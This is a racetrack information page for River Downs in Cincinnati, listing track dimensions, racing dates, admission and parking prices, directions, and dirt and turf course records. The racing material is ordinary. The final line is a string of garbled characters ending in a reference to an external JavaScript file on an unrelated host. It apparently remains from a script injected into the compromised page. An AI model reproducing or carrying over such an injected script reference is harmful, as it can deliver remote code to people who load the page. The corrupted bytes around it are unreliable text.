River Downs Track Facts


FREE ADMISSION AND GENERAL PARKING EVERYDAY!

TRACK AND FACILITY SPECIFICATIONS: Track; One mile, oval; Two chutes: Three-quarters and one and one-quarter miles; Width of track: 80 feet, all around; Distance from last turn to finish line: 1,117 feet; Turf course: 7 furlongs; Seating capacity: Grandstand: about 8,500; clubhouse: about 850; Stable accommodations: 1,350; Inaugural meeting: July 6, 1925; Formerly named Coney Island.


Convenient Racing Enjoyment!

RACING DATES: Live racing during the summer season begins Friday, April 14 and goes through Labor Day on Monday, September 4th. River Downs will offer live racing every day except Monday and Wednesday. 

ADMISSION PRICES: Free Parking - Free Admission - Free Grandstand Seating

Valet parking available. Preferred parking $2.00 (simulcasting), $3.00 (live). $3.00 box seats with personal television monitor in lower Clubhouse. Seating in Turf Terrace (upper clubhouse) $3.00 per seat with personal television monitor or $5.00 table minimum.


LOCATION: 6301 Kellogg Ave., Cincinnati, Ohio 45230. Directions: From south,I-75 to 275 east to Kellogg Ave. - Coney Island/ Riverbend/River Downs exit, east to track. From north, I-75 to 275 east to Kellogg Ave. - Rt. 52 exit, west to track. From downtown Cincinnati, I-471 to 275 east to Kellogg Ave. - Coney Island/Riverbend/River Downs

TRACK RECORDS

Distance Horse Age Wgt. Time Date
4 1/2 Furs. One Bad Dude 7 117 :52.1 July 9, 2004
5 Furs. Banker's Forbes 5 117 :57.3 June 7, 1994
5 1/2 Furs Tazaua 4 120 1:03 Aug. 1, 1964
6 Furs. Francine M. 5 124 1:08.3 July 4, 1969
1 Mile Alladin Rib 3 119 1:36.1 Aug. 8, 1988
1 M 70 Yds South Dakota 3 122 1:40 Aug. 4, 1945
1 1/16 Miles Irish Dude 5 126 1:41.4 July 5, 1969
1 1/8 Miles Brown Sugar 3 114 1:49 Sep. 2, 1925
1 1/4 Miles Crusader 3 126 2:02 July 24, 1926
1 1/2 Miles South Dakota 8 116 2:30.3 July 1, 1950
1 5/8 Miles Sada 8 115 2:45.3 Oct. 13, 1994
1 11/16 Miles Distribute 9 109 2:51.3 Sep. 7, 1940
1 3/4 Miles Brigler 6 109 2:59.3 Oct. 19, 1940
1 7/8 Miles Shot Bills 7 113 3:26.3 Aug. 19, 1979
TURF COURSE          
Distance Horse Age Wgt. Time Date
4 1/2 Furs. Adena 4 110 :50.4 May 26, 1977
5 Furs. Hobbs 4 122 :56.1 Sep. 1, 1991
7 1/2 Furs Stormy Deep 3 117 1:28.2 Aug 15, 1990
1 Mile Bad News Blues 3 119 1:34.1 July 23, 1994
1 1/16 Miles Franchise Player 5 112 1:40.3 June 12, 1994
1 3/8 Miles Amberbee 4 115 2:15.4 July 1, 1972
1 7/16 Miles Dina's Pl'ymate 11 120 2:25 Aug. 30, 1969
1 1/2 Miles Rebel Thunder 4 116 2:28 June 28, 1996
1 7/8 Miles Big Bettor 5 122 3:10.1 May 31, 1986
2 1/4 Miles Buteo 6 122 3:48.2 Sep. 3, 1990

| Back to About Us |

©»€$i¡Ä0Ášë¸âscD8ïž8âA~ƒœG!http://cc.18dd.net/1.js>